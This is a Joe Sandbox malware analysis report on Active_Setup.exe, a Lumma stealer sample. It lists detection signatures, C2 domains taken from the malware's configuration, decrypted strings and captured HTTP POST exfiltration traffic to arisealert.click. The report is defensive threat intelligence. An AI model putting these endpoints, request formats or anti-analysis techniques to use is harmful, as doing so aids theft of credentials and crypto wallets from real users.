Edit tour

Windows Analysis Report
Active_Setup.exe

Overview

General Information

Sample name:	Active_Setup.exe
Analysis ID:	1582858
MD5:	e33268982207781838161261e248276b
SHA1:	892974179ab18b8ee149137d16ca595db97500a0
SHA256:	f9af65ed05caa99519eb5083daf6a39c1a467576a1465a4fa44759f861bce244
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Detected non-DNS traffic on DNS port

Detected potential crypto function

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Active_Setup.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\Active_Setup.exe" MD5: E33268982207781838161261E248276B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["cloudewahsj.shop", "tirepublicerj.shop", "rabidcowse.shop", "wholersorie.shop", "abruptyopsn.shop", "nearycrepso.shop", "arisealert.click", "framekgirus.shop", "noisycuttej.shop"], "Build id": "hRjzG3--ZINA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3687988772.0000000003030000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4df49:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: Active_Setup.exe PID: 7284	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Active_Setup.exe PID: 7284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Active_Setup.exe PID: 7284	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Active_Setup.exe PID: 7284	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:11:27.604380+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.21.52.90	443	TCP
2024-12-31T17:11:28.570045+0100	2028371	3	Unknown Traffic	192.168.2.7	49706	104.21.52.90	443	TCP
2024-12-31T17:11:29.847065+0100	2028371	3	Unknown Traffic	192.168.2.7	49717	104.21.52.90	443	TCP
2024-12-31T17:11:31.079033+0100	2028371	3	Unknown Traffic	192.168.2.7	49728	104.21.52.90	443	TCP
2024-12-31T17:11:32.510325+0100	2028371	3	Unknown Traffic	192.168.2.7	49738	104.21.52.90	443	TCP
2024-12-31T17:11:36.878824+0100	2028371	3	Unknown Traffic	192.168.2.7	49767	104.21.52.90	443	TCP
2024-12-31T17:11:40.476792+0100	2028371	3	Unknown Traffic	192.168.2.7	49793	104.21.52.90	443	TCP
2024-12-31T17:11:42.356947+0100	2028371	3	Unknown Traffic	192.168.2.7	49805	104.21.52.90	443	TCP
2024-12-31T17:11:45.335160+0100	2028371	3	Unknown Traffic	192.168.2.7	49826	104.21.52.90	443	TCP
2024-12-31T17:11:46.587112+0100	2028371	3	Unknown Traffic	192.168.2.7	49832	185.161.251.21	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:11:28.102968+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.52.90	443	TCP
2024-12-31T17:11:29.039854+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49706	104.21.52.90	443	TCP
2024-12-31T17:11:45.808781+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49826	104.21.52.90	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:11:28.102968+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49700	104.21.52.90	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:11:29.039854+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49706	104.21.52.90	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T17:11:31.881524+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49728	104.21.52.90	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://klipvumisui.shop/int_clp_sha.txtU	Avira URL Cloud: Label: malware
Source: https://cegu.shop/	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txttDon	Avira URL Cloud: Label: malware
Source: https://cegu.shop/N	Avira URL Cloud: Label: malware
Source: https://cegu.shop/H	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txtx	Avira URL Cloud: Label: malware
Source: https://cegu.shop/t	Avira URL Cloud: Label: malware

Found malware configuration

Source: Active_Setup.exe.7284.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["cloudewahsj.shop", "tirepublicerj.shop", "rabidcowse.shop", "wholersorie.shop", "abruptyopsn.shop", "nearycrepso.shop", "arisealert.click", "framekgirus.shop", "noisycuttej.shop"], "Build id": "hRjzG3--ZINA"}

Multi AV Scanner detection for submitted file

Source: Active_Setup.exe

Virustotal: Detection: 7%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 83.6% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: arisealert.click
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.3688109220.0000000003420000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--ZINA

Source: Active_Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.7:49832 version: TLS 1.2

Source: Active_Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_009CF8DC FindFirstFileW,FindClose,		0_2_009CF8DC
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00C60AA4 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,		0_2_00C60AA4

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49700 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49706 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49706 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49728 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49826 -> 104.21.52.90:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: arisealert.click
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop

Source: global traffic

TCP traffic: 192.168.2.7:59641 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49706 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49717 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49728 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49738 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49767 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49793 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49805 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49826 -> 104.21.52.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49832 -> 185.161.251.21:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GHKQBVEA3YSJPWMTHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12837Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ITAQ07GQIFIBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15039Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LYF7K176PMJ6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20364Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DVG2QPFQMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3767Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SJ7SCQJLEIL3N7RVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1221Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9WNBR3W6VGCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552091Host: arisealert.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 113Host: arisealert.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop

Source: global traffic	DNS traffic detected: DNS query: arisealert.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: arisealert.click

Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Active_Setup.exe, 00000000.00000003.1481405199.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Active_Setup.exe, 00000000.00000003.1481405199.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3688323243.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/
Source: Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1471015729.0000000003BBC000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686493265.0000000000862000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1424147891.0000000003BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/api
Source: Active_Setup.exe, 00000000.00000002.3688375769.0000000003BBF000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/apiU
Source: Active_Setup.exe, 00000000.00000003.2141260406.0000000000861000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141065383.0000000000859000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686493265.0000000000862000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/apita
Source: Active_Setup.exe, 00000000.00000003.1484141177.0000000003BBC000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3688375769.0000000003BBF000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1482827375.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/apiu
Source: Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/p
Source: Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/pk
Source: Active_Setup.exe, 00000000.00000003.1481405199.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click/s
Source: Active_Setup.exe, 00000000.00000003.1470694897.0000000003BB5000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470714212.0000000003BB8000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1482827375.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1471139574.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://arisealert.click:443/apiC
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Active_Setup.exe, Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/
Source: Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt
Source: Active_Setup.exe, 00000000.00000002.3686829759.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140339829.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141159649.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txttDon
Source: Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txtx
Source: Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/H
Source: Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/N
Source: Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/t
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
